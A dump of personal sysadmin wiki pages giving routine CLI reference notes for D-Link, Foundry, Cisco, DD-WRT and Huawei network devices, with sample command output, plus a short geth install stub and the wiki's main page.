config private_vlan [<vlan_name 32> | vid <vlanid 1-4094>] [add [isolated | community] | remove]
[<vlan_name 32> | vlanid <vidlist>]
show private_vlan { [vlan_name 32> | vlanid <vidlist>] }
</pre>

== Foundry ==

=== show ===
802-1w Rapid Spanning tree IEEE 802.1w D10 status
aaa Show TACACS+ and RADIUS server statistics
access-list Show access list hit statistics
acl-on-arp Show ARP ACL filtering
arp Arp table
auth-mac-addresses MAC Authentication status
batch Batch commands
cable-diagnostics Show Cable Diagnostics
chassis Power supply/fan/temperature
clock System time and date
configuration Configuration data in startup config file
debug Debug information
default System default settings
dot1x dot1x information
errdisable Errdisable status
fdp CDP/FDP information
flash Flash memory contents
interfaces Port status
ip IP address setting
ipv6 IP setting
link-aggregate 802.3ad Link Aggregation Information
link-error-disable Link Debouncing Control
link-keepalive Link Layer Keepalive
logging System log
mac-address MAC address table
media Gig port SX/LX/LHA/LHB
memory System memory usage
metro-ring metro ring protocol information
mirror Mirror ports
monitor Monitor ports
mstp show MSTP (IEEE 802.1s) information
port Show port security
priority-mapping 802.1Q tagged priority setting
processes Active process statistics
protected-link-group Show Protected Link Group Details
ptrace Global ptrace information
qos-profiles QOS configuration
qos-tos IPv4 ToS based QoS
radius show radius server debug info
rate-limit Rate-limiting table and actions
redundancy Display management redundancy details
relative-utilization Relative utilization list
reload Scheduled system reset
rmon Rmon status
running-config Current running-config
sflow sflow information
snmp SNMP statistics
sntp Show SNTP
span Spanning tree status
statistics Packet statistics
stp-bpdu-guard Show stp bpdu guard status
stp-group Spanning Tree Group Membership
stp-protect-ports Show stp-protect enabled ports and their BPDU drop
counters
tech-support System snap shot for tech support
telnet Telnet connection
topology-group Topology Group Membership
traffic-policy Show traffic policy definition
transmit-counter Transmit Queue Counters
trunk Show trunk status
users User accounts
version System status
vlan VLAN status
vlan-group VLAN Group Membership
voice-vlan Show voice vlan
vsrp Show VSRP commands
web-connection Current web connections
who User login
| Output modifiers
<cr>

=== enable ===
* when logged in, the "enable" command give you the administration rights
* in this status we can monitor e check configuration.
<syntaxhighlight lang=visualfoxpro >
$ enable
password...
# _
</syntaxhighlight>

* entering in "edit configuration" mode, you can edit the configuration, '''live!''' be very careful
<syntaxhighlight lang=visualfoxpro >
config [te]
password...
(config)#
</syntaxhighlight>

* after making changes, you can check them with this command (because "show config" will give you the configuration saved in memory, not the running one that you just modified.
<syntaxhighlight lang=visualfoxpro >
(config)# show running-config
[...]
</syntaxhighlight>

* after all your checks, this is the command to save the changes permanently.
<syntaxhighlight lang=visualfoxpro >
(config)# write memory
#
</syntaxhighlight>

* an option to backup the configuration is to copy it by TFTP to a server.
<syntaxhighlight lang=visualfoxpro >
#copy running-config tftp 1.2.3.123 router-config-20122112.txt
#Upload running-config to TFTP server done.
</syntaxhighlight>

=== show cpu ===
show cpu
<syntaxhighlight lang=visualfoxpro >
31 percent busy, from 3248 sec ago 1 sec avg:
31 percent busy 5 sec avg:
31 percent busy 60 sec avg:
31 percent busy

300 sec avg: 31 percent busy
</syntaxhighlight>

* cpu/process utilizaiton
<syntaxhighlight lang=visualfoxpro >
# show process cpu
Process Name
ACL
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP
5Sec(%) 1Min(%)
0.00 0.00
0.01 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
5Min(%) 15Min(%)
Runtime(ms)
0.00 0.00 0
0.01 0.01 714 0.00 0.00 0 0.00 0.00 0 0.00 0.00 0 0.00 0.00 161 0.00 0.00 229 0.00 0.01 673 0.00 0.00 0 0.00 0.00 9 0.00 0.00 7 0.00 0.00 0
</syntaxhighlight>

=== port status short ===
* show interface brief
<syntaxhighlight lang=visualfoxpro >
Port Link State Dupl Speed Trunk Tag Priori MAC Name
1 Up Forward Full 1G None No level0 0012.f286....
2 Disable None None None None No level0 0012.f286....

Port Link State Dupl Speed Trunk Tag Priori MAC Name
ve10 Up N/A N/A N/A None N/A N/A 0012.f286....
</syntaxhighlight>
=== ip traffic ===
<syntaxhighlight lang=visualfoxpro >
#show ip traffic
IP Statistics
249333533 received, 92410 sent, 248630753 forwarded
0 filtered, 0 fragmented, 0 reassembled, 4480 bad header
495 no route, 0 unknown proto, 0 no buffer, 43582 other errors

ARP Statistics
151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent
0 pending drop, 0 invalid source, 0 invalid dest

ICMP Statistics
Received:
13364 total, 25 errors, 103 unreachable, 25 time exceed
0 parameter, 0 source quench, 0 redirect, 13202 echo,
9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation
Sent:
55536 total, 0 errors, 38105 unreachable, 4205 time exceed
24 parameter, 0 source quench, 0 redirect, 0 echo,
13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation

UDP Statistics
173951 received, 15129 sent, 119850 no port, 0 input errors
</syntaxhighlight>

=== MAC address table ===
show mac-address
<syntaxhighlight lang=visualfoxpro >
Total active entries from all ports = 69
MAC-Address Port Type Index VLAN
0800.270c.ce47 5 Dynamic 30 113
0011.7800.9a44 8 Dynamic 14232 200
</syntaxhighlight>
=== ethernet data flow statistics ===
* show rmon statistics
<syntaxhighlight lang=visualfoxpro >
Ethernet statistics 1 is active, owned by monitor
Interface 1 (ifIndex 1) counters
Octets 62219423556
Drop events 0 Packets 74215428
Broadcast pkts 613 Multicast pkts 83808
CRC align errors 0 Undersize pkts 0
Oversize pkts 0 Fragments 0
Jabbers 0 Collisions 0

Packet size counters
64 8199939 65 to 127 21283872
128 to 255 2667477 256 to 511 1406813
512 to 1023 2001555 1024 to 1518 38655772
</syntaxhighlight>

=== physical media installed in port ===
* show media
<syntaxhighlight lang=visualfoxpro >
1:M-SX 2: 3: 4: 5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C
</syntaxhighlight>

* C1550 – CWDM transceiver with 1550 nm wavelength
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver
* M-FX – 100BaseFX fiber mini-GBIC
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC
* M-LX – 1000BaseLX fiber mini-GBIC
* M-SX – 1000BaseSX fiber mini-GBIC
* M-TX – 1000BaseTX copper mini-GBIC
* M-XR – 1000BaseSX 2 fiber mini-GBIC
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC
* M-LHA 1000BaseLHA fiber mini-GBIC

=== interface speed ===

Router(config)# interface e 8
Router(config-if-e1000-8)# speed-duplex 10-full

=== ethernet details ===
* show interface ethernet 1
<syntaxhighlight lang=visualfoxpro >
GigabitEthernet1 is up, line protocol is up
Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)
Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx
Configured mdi mode AUTO, actual MDI
Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING
BPDU guard is Disabled, ROOT protect is Disabled
Link Error Dampening is Disabled
STP configured to ON, priority is level0
Flow Control is config enabled, oper enabled, negotiation disabled
mirror disabled, monitor disabled
Not member of any active trunks
Not member of any configured trunks
No port name
IPG MII 96 bits-time, IPG GMII 96 bits-time
IP MTU 1500 bytes, encapsulation ethernet
300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization
300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization
35819040 packets input, 31760156880 bytes, 0 no buffer
Received 559 broadcasts, 83280 multicasts, 35735201 unicasts
0 input errors, 0 CRC, 0 frame, 0 ignored
0 runts, 0 giants
38293277 packets output, 30371035971 bytes, 0 underruns
Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts
0 output errors, 0 collisions
</syntaxhighlight>

=== ip routes ===
show ip
<syntaxhighlight lang=visualfoxpro >
Global Settings
ttl: 64, arp-age: 10, bootp-relay-max-hops: 4
router-id : 0.0.0.0
enabled : UDP-Broadcast-Forwarding Source-Route Load-Sharing RARP
disabled: Route-Only Directed-Broadcast-Forwarding IRDP Proxy-ARP RIP DVMRP VRRP VRRP-Extended
Static Routes
Index IP Address Subnet Mask Next Hop Router Metric Distance
1 0.0.0.0 0.0.0.0 145.145.24.140 1 1 0
2 192.168.251.0 255.255.255.0 192.168.252.1 1 1 0
</syntaxhighlight>

=== ip interface networks ===
<syntaxhighlight lang=visualfoxpro >
show ip interface
Interface IP-Address OK? Method Status Protocol
Ve 10 1.5.4.1 YES NVRAM up up
Ve 100 1.2.1.33 YES NVRAM up up
Ve 101 1.2.1.129 YES NVRAM up up
Ve 102 1.2.1.193 YES NVRAM up up
Ve 103 1.2.1.225 YES NVRAM up up
Ve 104 1.2.1.241 YES NVRAM up up
Ve 105 1.2.1.249 YES NVRAM up up
Ve 106 1.2.1.17 YES NVRAM up up
Ve 111 1.2.1.65 YES NVRAM up up
Ve 112 1.2.1.81 YES NVRAM up up
Ve 113 1.2.1.97 YES NVRAM up up
Ve 200 1.2.3.4 YES NVRAM up up
</syntaxhighlight>

=== add VLAN ===

<syntaxhighlight lang=visualfoxpro >
vlan 123 name v-users by port
tagged ethe 2 to 4
</syntaxhighlight>

=== VLAN detail ===
* show vlans
<syntaxhighlight lang=visualfoxpro >
Total PORT-VLAN entries: 19
Maximum PORT-VLAN entries: 4095
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off
Untagged Ports: 2 3 4 19 20
Tagged Ports: None
Uplink Ports: None
DualMode Ports: None
</syntaxhighlight>

=== virtual ethernet configuration ===
* is the ip configuration of the vlan subnet
<syntaxhighlight lang=visualfoxpro >

interface ve 300
port-name v-secondary
ip access-group 300 in
ip address 1.2.1.1 255.255.255.240
!
interface ve 100
port-name v-primary
ip address 1.2.3.1 255.255.252.0

</syntaxhighlight>

=== access list per IP ===
* access list used by virtual ethernet
<syntaxhighlight lang=visualfoxpro >

access-list 10 permit 1.2.3.0 0.0.3.255
access-list 10 permit 1.2.1.0 0.0.0.255
access-list 10 deny any log

access-list 300 deny ip any 1.2.3.0 0.0.3.255 log
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log
access-list 300 permit ip any any

access-list 103 permit ip any 1.2.5.0 0.0.0.255
</syntaxhighlight>

=== set DNS ===
* add 3 DNS servers:
<syntaxhighlight lang=python >
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104
</syntaxhighlight>

* del 1 DNS server:
<syntaxhighlight lang=python >
no ip dns server-address 10.11.12.13
</syntaxhighlight>

=== SSH management config ===

<syntaxhighlight lang=visualfoxpro >
ip ssh key-authentication no
ip ssh source-interface ve 200
</syntaxhighlight>

=== add port to VLAN ===

<syntaxhighlight lang=visualfoxpro >

* add tagged port:
# vlan 4
(vlan-4)# tag ethe 11
# end
* add untagged port
(vlan-4)# untag ethe 11
# end
</syntaxhighlight>

=== remove port from VLAN ===
<syntaxhighlight lang=visualfoxpro >
* remove un-tagged port:
#vlan 4
(vlan-4)# no untag ethe 11
# end
* tagged port
(vlan-4)# no tag ethe 11
# end
</syntaxhighlight>

=== change temperature warning level ===

* temperature at when the device will give warning
# temperature warning 47
* temperature at when the device will shut down
# temperature shutdown 57
* change the polling time interval
# chassis poll-time 200

=== change logging size ===
<syntaxhighlight lang=visualfoxpro >
#config te
BR-SSH@coresw1(config)#logging buffered 300
Reload required. Please write memory and then reload or power cycle.
BR-SSH@coresw1(config)#write memory
Write startup-config done.
BR-SSH@coresw1(config)#end
BR-SSH@coresw1#reload
Are you sure? (enter 'y' or 'n'): y
</syntaxhighlight>

Router-language

2022-06-26T17:37:36Z

Porcelinux: /* DLink */

== Cisco ==

* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html

*; Save config
# write memory

=== VLAN ===
*; New VLAN
Switch# configure terminal
Switch(config)# vlan 20
Switch(config-vlan)# name test20
Switch(config-vlan)# end

Switch(config)# no vlan vlan-id
*: Port-VLAN
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 2
Switch(config-if)# end

*; IEEE 802.1Q trunking
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode dynamic desirable
Switch(config-if)# end

*; remove VLAN 2 from the allowed VLAN list on a port:
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport trunk allowed vlan remove 2
Switch(config-if)# end

== DD-WRT ==

* show all variables named/containing '''<something>'''
nvram show|grep <something>
nvram show|grep ports

* unset all variables named/containing '''<something>'''
for a in $(nvram show|grep <something>|grep -v size);do nvram unset $(echo $a|cut -d"=" -f1);done

# nvram commit

*[edit] Port Attributes

0 or 1 to 15, or even 4096 This is the VLAN for the port. NOTE that due to the other attributes below, VLANs 16 to 21 are not supported!
16 Tagged
17 NOT Auto-Negotiate. (If #17 is off, you'll get 18, 19, and 21 on a gigabit switch)
18 = NOT forced-100 MBit (either Auto-Negotiate is used, or some other speed is forced)
19 = NOT Full-Duplex (either Auto-Negotiate is used, or Half-duplex is forced)
20 = NOT Enabled (ie. disabled)
21 = NOT forced-Gigabit (either Auto-Negotiate is used, or some other speed is forced)

=== VLAN ===

vlan#ports
Each vlan is assigned one or more ports plus the CPU port. Default vlan and tagging also specified.
port#vlans
Each port is assigned to one vlan (CPU to all vlans). Plus other per-port settings for speed, duplex, etc.
vlan#hwname
Activates a vlan, ensuring it is properly initialized.

*attributes
These are suffixes for the final CPU port number.
*"t"
tag with 802.1q vlan header (e.g. for trunking). Can be added to one or more ports in a vlan.
*"u"
used on WAN vlan, to ensure WAN traffic is untagged.
*"*"
used on default LAN VLAN, untagged incoming traffic goes here.

vlan4ports=0 5*
vlan4_ipaddr=0.0.0.0
vlan4hwname=et0
port2vlans=4

== Huawei ==
;(AR502CG-L)

More details in [[Huawei AR500]]
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands

* Access CLI
** from the web interface, create a telnet enabled user and enable telnet service.

telnet 192.168.x.x
...
system-view

=== Cellular WAN connection information ===
<pre>
<Huawei>display cellular 0/0/0 all
Modem State:
Hardware Information.
=====================
Model = ME909s-120
Modem Type = LTE module
...
</pre>

* Display APN profiles
<pre>
<Huawei>display apn-profile configuration
</pre>

* Display IP interface WAN
<pre>
display interface cellular 0/0/0
</pre>

display ip interface brief

display ip routing-table

* reset counters
reset counters interface cellular 0/0/0

=== del vlan ===
[RouterBackup]undo interface Vlanif 6
[RouterBackup]undo Vlan 6

=== change Interface MTU ===
<Huawei> system-view
[Huawei] interface cellular 0/0/0
[Huawei-Cellular0/0/0] mtu 1200
[Huawei-Cellular0/0/0] restart

=== Save running config ===
[Router] save

=== SMS ===

* List SMS
display sms interface cellular 0/0/0 brief

* SMS stats
display sms interface cellular 0/0/0 statistics

=== NAT tutorial ===
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet

== DLink ==

xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual

<pre>
VLAN Command List
create vlan <vlan_name 32 > tag <vlanid 2-4094> { type [1q_vlan advertisement | private_vlan] }
create vlan vlanid <vidlist> { type [1q_vlan | private_vlan] { advertisement } }
delete vlan <vlan_name>
delete vlan vlanid <vlanid_list>
config vlan < vlan_name > { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ] }
config vlan vlanid <vidlist> { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ]| name <vlan_name>}
config vlan <vlan_name
> delete <portlist>
config vlan vlanid <vlanid_
list> delete <portlist>
config gvrp [<portlist> | all] {state [enable | disable] | ingress_checking [enable | disable]
|acceptable_frame[tagged_only | admit_all] pvid<vlanid 1-4094> }
enable gvrp
disable gvrp
show vlan { <vlan_name 32> | vlanid
<vlanid_list> | ports <portlist>}
show gvrp {<portlist>}
enable pvid auto_assign
disable pvid auto_assign
show pvid auto_assign
config private_vlan [<vlan_name 32> | vid <vlanid 1-4094>] [add [isolated | community] | remove]
[<vlan_name 32> | vlanid <vidlist>]
show private_vlan { [vlan_name 32> | vlanid <vidlist>] }
</pre>

== Foundry ==

=== show ===
802-1w Rapid Spanning tree IEEE 802.1w D10 status
aaa Show TACACS+ and RADIUS server statistics
access-list Show access list hit statistics
acl-on-arp Show ARP ACL filtering
arp Arp table
auth-mac-addresses MAC Authentication status
batch Batch commands
cable-diagnostics Show Cable Diagnostics
chassis Power supply/fan/temperature
clock System time and date
configuration Configuration data in startup config file
debug Debug information
default System default settings
dot1x dot1x information
errdisable Errdisable status
fdp CDP/FDP information
flash Flash memory contents
interfaces Port status
ip IP address setting
ipv6 IP setting
link-aggregate 802.3ad Link Aggregation Information
link-error-disable Link Debouncing Control
link-keepalive Link Layer Keepalive
logging System log
mac-address MAC address table
media Gig port SX/LX/LHA/LHB
memory System memory usage
metro-ring metro ring protocol information
mirror Mirror ports
monitor Monitor ports
mstp show MSTP (IEEE 802.1s) information
port Show port security
priority-mapping 802.1Q tagged priority setting
processes Active process statistics
protected-link-group Show Protected Link Group Details
ptrace Global ptrace information
qos-profiles QOS configuration
qos-tos IPv4 ToS based QoS
radius show radius server debug info
rate-limit Rate-limiting table and actions
redundancy Display management redundancy details
relative-utilization Relative utilization list
reload Scheduled system reset
rmon Rmon status
running-config Current running-config
sflow sflow information
snmp SNMP statistics
sntp Show SNTP
span Spanning tree status
statistics Packet statistics
stp-bpdu-guard Show stp bpdu guard status
stp-group Spanning Tree Group Membership
stp-protect-ports Show stp-protect enabled ports and their BPDU drop
counters
tech-support System snap shot for tech support
telnet Telnet connection
topology-group Topology Group Membership
traffic-policy Show traffic policy definition
transmit-counter Transmit Queue Counters
trunk Show trunk status
users User accounts
version System status
vlan VLAN status
vlan-group VLAN Group Membership
voice-vlan Show voice vlan
vsrp Show VSRP commands
web-connection Current web connections
who User login
| Output modifiers
<cr>

=== enable ===
* when logged in, the "enable" command give you the administration rights
* in this status we can monitor e check configuration.
<syntaxhighlight lang=visualfoxpro >
$ enable
password...
# _
</syntaxhighlight>

* entering in "edit configuration" mode, you can edit the configuration, '''live!''' be very careful
<syntaxhighlight lang=visualfoxpro >
config [te]
password...
(config)#
</syntaxhighlight>

* after making changes, you can check them with this command (because "show config" will give you the configuration saved in memory, not the running one that you just modified.
<syntaxhighlight lang=visualfoxpro >
(config)# show running-config
[...]
</syntaxhighlight>

* after all your checks, this is the command to save the changes permanently.
<syntaxhighlight lang=visualfoxpro >
(config)# write memory
#
</syntaxhighlight>

* an option to backup the configuration is to copy it by TFTP to a server.
<syntaxhighlight lang=visualfoxpro >
#copy running-config tftp 1.2.3.123 router-config-20122112.txt
#Upload running-config to TFTP server done.
</syntaxhighlight>

=== show cpu ===
show cpu
<syntaxhighlight lang=visualfoxpro >
31 percent busy, from 3248 sec ago 1 sec avg:
31 percent busy 5 sec avg:
31 percent busy 60 sec avg:
31 percent busy

300 sec avg: 31 percent busy
</syntaxhighlight>

* cpu/process utilizaiton
<syntaxhighlight lang=visualfoxpro >
# show process cpu
Process Name
ACL
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP
5Sec(%) 1Min(%)
0.00 0.00
0.01 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
5Min(%) 15Min(%)
Runtime(ms)
0.00 0.00 0
0.01 0.01 714 0.00 0.00 0 0.00 0.00 0 0.00 0.00 0 0.00 0.00 161 0.00 0.00 229 0.00 0.01 673 0.00 0.00 0 0.00 0.00 9 0.00 0.00 7 0.00 0.00 0
</syntaxhighlight>

=== port status short ===
* show interface brief
<syntaxhighlight lang=visualfoxpro >
Port Link State Dupl Speed Trunk Tag Priori MAC Name
1 Up Forward Full 1G None No level0 0012.f286....
2 Disable None None None None No level0 0012.f286....

Port Link State Dupl Speed Trunk Tag Priori MAC Name
ve10 Up N/A N/A N/A None N/A N/A 0012.f286....
</syntaxhighlight>
=== ip traffic ===
<syntaxhighlight lang=visualfoxpro >
#show ip traffic
IP Statistics
249333533 received, 92410 sent, 248630753 forwarded
0 filtered, 0 fragmented, 0 reassembled, 4480 bad header
495 no route, 0 unknown proto, 0 no buffer, 43582 other errors

ARP Statistics
151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent
0 pending drop, 0 invalid source, 0 invalid dest

ICMP Statistics
Received:
13364 total, 25 errors, 103 unreachable, 25 time exceed
0 parameter, 0 source quench, 0 redirect, 13202 echo,
9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation
Sent:
55536 total, 0 errors, 38105 unreachable, 4205 time exceed
24 parameter, 0 source quench, 0 redirect, 0 echo,
13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation

UDP Statistics
173951 received, 15129 sent, 119850 no port, 0 input errors
</syntaxhighlight>

=== MAC address table ===
show mac-address
<syntaxhighlight lang=visualfoxpro >
Total active entries from all ports = 69
MAC-Address Port Type Index VLAN
0800.270c.ce47 5 Dynamic 30 113
0011.7800.9a44 8 Dynamic 14232 200
</syntaxhighlight>
=== ethernet data flow statistics ===
* show rmon statistics
<syntaxhighlight lang=visualfoxpro >
Ethernet statistics 1 is active, owned by monitor
Interface 1 (ifIndex 1) counters
Octets 62219423556
Drop events 0 Packets 74215428
Broadcast pkts 613 Multicast pkts 83808
CRC align errors 0 Undersize pkts 0
Oversize pkts 0 Fragments 0
Jabbers 0 Collisions 0

Packet size counters
64 8199939 65 to 127 21283872
128 to 255 2667477 256 to 511 1406813
512 to 1023 2001555 1024 to 1518 38655772
</syntaxhighlight>

=== physical media installed in port ===
* show media
<syntaxhighlight lang=visualfoxpro >
1:M-SX 2: 3: 4: 5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C
</syntaxhighlight>

* C1550 – CWDM transceiver with 1550 nm wavelength
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver
* M-FX – 100BaseFX fiber mini-GBIC
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC
* M-LX – 1000BaseLX fiber mini-GBIC
* M-SX – 1000BaseSX fiber mini-GBIC
* M-TX – 1000BaseTX copper mini-GBIC
* M-XR – 1000BaseSX 2 fiber mini-GBIC
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC
* M-LHA 1000BaseLHA fiber mini-GBIC

=== interface speed ===

Router(config)# interface e 8
Router(config-if-e1000-8)# speed-duplex 10-full

=== ethernet details ===
* show interface ethernet 1
<syntaxhighlight lang=visualfoxpro >
GigabitEthernet1 is up, line protocol is up
Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)
Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx
Configured mdi mode AUTO, actual MDI
Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING
BPDU guard is Disabled, ROOT protect is Disabled
Link Error Dampening is Disabled
STP configured to ON, priority is level0
Flow Control is config enabled, oper enabled, negotiation disabled
mirror disabled, monitor disabled
Not member of any active trunks
Not member of any configured trunks
No port name
IPG MII 96 bits-time, IPG GMII 96 bits-time
IP MTU 1500 bytes, encapsulation ethernet
300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization
300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization
35819040 packets input, 31760156880 bytes, 0 no buffer
Received 559 broadcasts, 83280 multicasts, 35735201 unicasts
0 input errors, 0 CRC, 0 frame, 0 ignored
0 runts, 0 giants
38293277 packets output, 30371035971 bytes, 0 underruns
Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts
0 output errors, 0 collisions
</syntaxhighlight>

=== ip routes ===
show ip
<syntaxhighlight lang=visualfoxpro >
Global Settings
ttl: 64, arp-age: 10, bootp-relay-max-hops: 4
router-id : 0.0.0.0
enabled : UDP-Broadcast-Forwarding Source-Route Load-Sharing RARP
disabled: Route-Only Directed-Broadcast-Forwarding IRDP Proxy-ARP RIP DVMRP VRRP VRRP-Extended
Static Routes
Index IP Address Subnet Mask Next Hop Router Metric Distance
1 0.0.0.0 0.0.0.0 145.145.24.140 1 1 0
2 192.168.251.0 255.255.255.0 192.168.252.1 1 1 0
</syntaxhighlight>

=== ip interface networks ===
<syntaxhighlight lang=visualfoxpro >
show ip interface
Interface IP-Address OK? Method Status Protocol
Ve 10 1.5.4.1 YES NVRAM up up
Ve 100 1.2.1.33 YES NVRAM up up
Ve 101 1.2.1.129 YES NVRAM up up
Ve 102 1.2.1.193 YES NVRAM up up
Ve 103 1.2.1.225 YES NVRAM up up
Ve 104 1.2.1.241 YES NVRAM up up
Ve 105 1.2.1.249 YES NVRAM up up
Ve 106 1.2.1.17 YES NVRAM up up
Ve 111 1.2.1.65 YES NVRAM up up
Ve 112 1.2.1.81 YES NVRAM up up
Ve 113 1.2.1.97 YES NVRAM up up
Ve 200 1.2.3.4 YES NVRAM up up
</syntaxhighlight>

=== add VLAN ===

<syntaxhighlight lang=visualfoxpro >
vlan 123 name v-users by port
tagged ethe 2 to 4
</syntaxhighlight>

=== VLAN detail ===
* show vlans
<syntaxhighlight lang=visualfoxpro >
Total PORT-VLAN entries: 19
Maximum PORT-VLAN entries: 4095
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off
Untagged Ports: 2 3 4 19 20
Tagged Ports: None
Uplink Ports: None
DualMode Ports: None
</syntaxhighlight>

=== virtual ethernet configuration ===
* is the ip configuration of the vlan subnet
<syntaxhighlight lang=visualfoxpro >

interface ve 300
port-name v-secondary
ip access-group 300 in
ip address 1.2.1.1 255.255.255.240
!
interface ve 100
port-name v-primary
ip address 1.2.3.1 255.255.252.0

</syntaxhighlight>

=== access list per IP ===
* access list used by virtual ethernet
<syntaxhighlight lang=visualfoxpro >

access-list 10 permit 1.2.3.0 0.0.3.255
access-list 10 permit 1.2.1.0 0.0.0.255
access-list 10 deny any log

access-list 300 deny ip any 1.2.3.0 0.0.3.255 log
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log
access-list 300 permit ip any any

access-list 103 permit ip any 1.2.5.0 0.0.0.255
</syntaxhighlight>

=== set DNS ===
* add 3 DNS servers:
<syntaxhighlight lang=python >
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104
</syntaxhighlight>

* del 1 DNS server:
<syntaxhighlight lang=python >
no ip dns server-address 10.11.12.13
</syntaxhighlight>

=== SSH management config ===

<syntaxhighlight lang=visualfoxpro >
ip ssh key-authentication no
ip ssh source-interface ve 200
</syntaxhighlight>

=== add port to VLAN ===

<syntaxhighlight lang=visualfoxpro >

* add tagged port:
# vlan 4
(vlan-4)# tag ethe 11
# end
* add untagged port
(vlan-4)# untag ethe 11
# end
</syntaxhighlight>

=== remove port from VLAN ===
<syntaxhighlight lang=visualfoxpro >
* remove un-tagged port:
#vlan 4
(vlan-4)# no untag ethe 11
# end
* tagged port
(vlan-4)# no tag ethe 11
# end
</syntaxhighlight>

=== change temperature warning level ===

* temperature at when the device will give warning
# temperature warning 47
* temperature at when the device will shut down
# temperature shutdown 57
* change the polling time interval
# chassis poll-time 200

=== change logging size ===
<syntaxhighlight lang=visualfoxpro >
#config te
BR-SSH@coresw1(config)#logging buffered 300
Reload required. Please write memory and then reload or power cycle.
BR-SSH@coresw1(config)#write memory
Write startup-config done.
BR-SSH@coresw1(config)#end
BR-SSH@coresw1#reload
Are you sure? (enter 'y' or 'n'): y
</syntaxhighlight>

Ethereum

2022-06-26T09:22:20Z

Porcelinux: Created page with " Once upon a time there was Mist, today it's not. Let's CLI then = go-ethereum = == Install == # download from https://geth.ethereum.org/downloads/ # unzip, check directory # intstall go if you haven't # go get -d github.com/ethereum/go-ethereum == Javascript console == * launch the CLI geth console"

Once upon a time there was Mist, today it's not. Let's CLI then

= go-ethereum =
== Install ==
# download from https://geth.ethereum.org/downloads/
# unzip, check directory
# intstall go if you haven't
# go get -d github.com/ethereum/go-ethereum
== Javascript console ==
* launch the CLI
geth console

Main Page

2022-06-26T08:08:37Z

Porcelinux: /* Crypto, Cypherpunks and Hippy Brokers */

'''Welcome to Alessandro's wiki'''

''I've populated this page along the path I'm following through the information technology world.
Beware! some information may be really outdated, started in 2006.

''In the twists and turns of this server's memory, where my thoughts are stored and folded in, you could find frightful ones.''

donate, you can use the following Bitcoin or Litecoin addresses. Thank you

BTC
1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk
LTC
LYbzJsCVmTynaK63CNMne89xKj961jFbWc

[[Alessandro's_Wiki:About]]

== System Administration Topics ==
{| border="0" align="center" width="100%"
|+
|width="10%"|
{|
=== Internet & Network Applications ===
*; CMS, wiki, etc.
** [[Trac]]
** [[mediawiki]]
** [[Gallery]] ''online photo archive system''
** [[Plone]]
** [[Joomla]]
** [[Drupal]]
*; Daemons
** [[Mail Systems]]
** [[mnogo]]
** [[supervisord]]
** [[Apache]]
** [[lighttpd]]
** [[Nginx]]
** [[hotsmtpd]] ''hotmail in Evolution''
** [[Ganglia]]
** [[MySQL]]
** [[PostgreSQL]]
** [[Oracle]]
